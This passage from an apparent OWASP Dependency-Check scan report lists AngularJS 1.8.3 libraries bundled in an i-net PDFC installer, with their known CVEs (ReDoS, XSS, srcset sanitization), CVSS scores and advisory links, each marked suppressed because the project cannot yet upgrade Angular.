- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:windows:*

CVE-2025-2336 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/bNGYaXx/412a3a4218387479898912f60c269c6c>
- info - <https://github.com/advisories/GHSA-4p4w-6hg8-63wx>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-2336>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-2336>

Vulnerable Software & Versions (RETIREJS):

CVE-2025-4690 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/RNNEPzP/751b91eab7730dff277523f3d50e4b77>
- info - <https://github.com/advisories/GHSA-hfff-63hg-f47j>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-4690>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-4690>

Vulnerable Software & Versions (RETIREJS):

CVE-2025-0716 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://codepen.io/herodevs/pen/qEWQmpd/a86a0d29310e12c7a3756768e6c7b915>
- info - <https://github.com/advisories/GHSA-j58c-ww9w-pwp5>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-0716>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-0716>

Vulnerable Software & Versions (RETIREJS):

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021 (RETIREJS) suppressed

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021

Notes: file name: remotegui.zip: angularjs.jar We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://docs.angularjs.org/misc/version-support-status>
- retid - 54

Vulnerable Software & Versions (RETIREJS):

File Path: /home/jenkins/workspace/pdfc/Check-Product-Installer-for-Security-Problems/PDFCInstaller/server/build/tmp/dependencies/i-net PDFC/plugins/remotegui.zip/angular-animate.jar/META-INF/resources/webjars/angular-animate/1.8.3/angular-animate.min.js

MD5: 5d2d0f42bb7e1b5503e914674f59dad0

SHA1: 4c15a58541e53c451c6f946d2048104f88b833c7

SHA256: 8e6202b1330a469a61ccdeebbd1cb3a20d0ecd8d106f68da5b85e9b67a1cd5

Referenced In Project/Scope: server

Evidence



Suppressed Identifiers

- None

Suppressed Vulnerabilities



[CVE-2022-25844](#) suppressed

The package angular after 1.7.0 are vulnerable to Regular Expression Denial of Service (ReDoS) by providing a custom locale rule that makes it possible to assign the parameter in posPre: ' '.repeat() of NUMBER_FORMATS.PATTERNS[1].posPre with a very high value.

Note: 1) This package has been deprecated and is no longer maintained. 2) The vulnerable versions are 1.7.0 and higher.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

CVSSv2:

- Base Score: MEDIUM (5.0)
- Vector: /AV:N/AC:L/Au:N/C:N/I:N/A:P

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-m2h2-264f-f486>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)

- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.7.0
- cpe:2.3:a:netapp:ontap_select_deploy_administration_utility:*:*:*:*:*

[CVE-2024-21490](#) suppressed

This affects versions of the package angular from 1.3.0. A regular expression used to split the value of the ng-srcset directive is vulnerable to super-linear runtime due to backtracking. With large carefully-crafted input, this can result in catastrophic backtracking and cause a denial of service. **Note:** This package is EOL and will not receive any updates to address this issue. Users should migrate to [@angular/core](https://www.npmjs.com/package/@angular/core).

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-4w4v-5hc9-xrr2>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-21490>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-6241746>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-6241747>
- info - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-6091113>
- info - <https://stackblitz.com/edit/angularjs-vulnerability-ng-srcset-redos>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angular.js:*:*:*:*:* versions from (including) 1.3.0

[CVE-2022-25869](#) suppressed

All versions of the package angular; all versions of the package angularjs.core; all versions of the package angularjs are vulnerable to Cross-site Scripting (XSS) due to insecure page caching in the Internet Explorer browser, which allows interpolation of <textarea> elements.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [BROKEN_LINK](#)

- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-prc3-vjfx-vhm9>
- report@snyk.io - <https://neverendingsupport.github.io/angularjs-poc-cve-2022-25869>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJS-10771617>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJSCORE-6084031>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-2949783>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBANGULAR-2949784>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2949782>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-2949781>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:*

[CVE-2023-26116](#) suppressed

Versions of the package angular from 1.2.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the angular.copy() utility function due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2vrf-hf26-jrp5>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.2.21; versions up to (including) 1.8.3

[CVE-2023-26117](#) suppressed

Versions of the package angular from 1.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the \$resource service due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2qgx-w9hr-q5gx>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.0.0; versions up to (including) 1.8.3

[CVE-2023-26118](#) suppressed

Versions of the package angular from 1.4.9 are vulnerable to Regular Expression Denial of Service (ReDoS) via the <input type="url"> element due to the usage of an insecure regular expression in the input[url] functionality. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)

- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-qwqh-hm9m-p5hr>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.4.9; versions up to (including) 1.8.3

[CVE-2024-8372](#) suppressed

Improper sanitization of the value of the 'srcset' attribute in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing .

This issue affects AngularJS versions 1.3.0-rc.4 and greater.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see [here https://docs.angularjs.org/misc/version-support-status](https://docs.angularjs.org/misc/version-support-status) .

CWE-1289 Improper Validation of Unsafe Equivalence in Input, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/xxoQRNL/0072e627abe03e9cda373bc75b4c1017>
- info - <https://github.com/advisories/GHSA-m9gf-397r-hwpg>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8372>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8372>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.3.1; versions up to (including) 1.8.3
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc4:*:*:*:*:*
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc5:*:*:*:*:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:linux:*:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:vsphere:*:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:windows:*:*

[CVE-2024-8373](#) suppressed

Improper sanitization of the value of the [srcset] attribute in <source> HTML elements in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing .

This issue affects all versions of AngularJS.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here <https://docs.angularjs.org/misc/version-support-status>.

CWE-791 Incomplete Filtering of Special Elements, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/bGPQgMp/8da9ce87e99403ee13a295c305ebfa0b>
- info - <https://github.com/advisories/GHSA-mqm9-c95h-x2p6>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8373>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8373>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions up to (including) 1.8.3
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:linux:*:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:vsphere:*:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:windows:*:*

CVE-2025-2336 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/bNGYaXx/412a3a4218387479898912f60c269c6c>
- info - <https://github.com/advisories/GHSA-4p4w-6hg8-63wx>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-2336>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-2336>

Vulnerable Software & Versions (RETIREJS):

CVE-2025-4690 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/RNNEPzP/751b91eab7730dff277523f3d50e4b77>
- info - <https://github.com/advisories/GHSA-hfff-63hg-f47j>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-4690>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-4690>

Vulnerable Software & Versions (RETIREJS):

CVE-2025-0716 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://codepen.io/herodevs/pen/qEWQmpd/a86a0d29310e12c7a3756768e6c7b915>
- info - <https://github.com/advisories/GHSA-j58c-ww9w-pwp5>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-0716>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-0716>

Vulnerable Software & Versions (RETIREJS):

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021 (RETIREJS) suppressed

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021

Notes: file name: remotegui.zip: angularjs.jar We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://docs.angularjs.org/misc/version-support-status>
- retid - 54

Vulnerable Software & Versions (RETIREJS):

remotegui.zip: angular-cookies.jar: angular-cookies.js

File Path: /home/jenkins/workspace/pdfc/Check-Product-Installer-for-Security-Problems/PDFCInstaller/server/build/tmp/dependencies/i-net PDFC/plugins/remotegui.zip/angular-cookies.jar/META-INF/resources/webjars/angular-cookies/1.8.3/angular-cookies.js

MD5: e17187aea1f0e6dbd25722e34b754915

SHA1: 20f43f716b9fef7d72537bc1b0e5aa2bc480cee5

SHA256: f3291c552042f6d0c500167769912a78ab3ecec9917128b2d6ea8e7c6714bb97

Referenced In Project/Scope: server

Evidence 

Suppressed Identifiers

- None

Suppressed Vulnerabilities 

[CVE-2022-25844](#) suppressed

The package angular after 1.7.0 are vulnerable to Regular Expression Denial of Service (ReDoS) by providing a custom locale rule that makes it possible to assign the parameter in posPre: ' '.repeat() of NUMBER_FORMATS.PATTERNS[1].posPre with a very high value.
Note: 1) This package has been deprecated and is no longer maintained. 2) The vulnerable versions are 1.7.0 and higher.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

CVSSv2:

- Base Score: MEDIUM (5.0)
- Vector: /AV:N/AC:L/Au:N/C:N/I:N/A:P

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-m2h2-264f-f486>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.7.0
- cpe:2.3:a:netapp:ontap_select_deploy_administration_utility:*:*:*:*:*

CVE-2024-21490 suppressed

This affects versions of the package angular from 1.3.0. A regular expression used to split the value of the ng-srcset directive is vulnerable to super-linear runtime due to backtracking. With large carefully-crafted input, this can result in catastrophic backtracking and cause a denial of service. **Note:** This package is EOL and will not receive any updates to address this issue. Users should migrate to [@angular/core](https://www.npmjs.com/package/@angular/core).

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-4w4v-5hc9-xrr2>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-21490>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-6241746>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-6241747>
- info - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-6091113>
- info - <https://stackblitz.com/edit/angularjs-vulnerability-ng-srcset-redos>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angular.js:*:*:*:*:* versions from (including) 1.3.0

[CVE-2022-25869](#) suppressed

All versions of the package angular; all versions of the package angularjs.core; all versions of the package angularjs are vulnerable to Cross-site Scripting (XSS) due to insecure page caching in the Internet Explorer browser, which allows interpolation of <textarea> elements.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [BROKEN_LINK](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-prc3-vjfx-vhm9>
- report@snyk.io - <https://neverendingsupport.github.io/angularjs-poc-cve-2022-25869>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJS-10771617>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJSCORE-6084031>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-2949783>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBANGULAR-2949784>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2949782>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-2949781>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:*

[CVE-2023-26116](#) suppressed

Versions of the package angular from 1.2.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the angular.copy() utility function due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
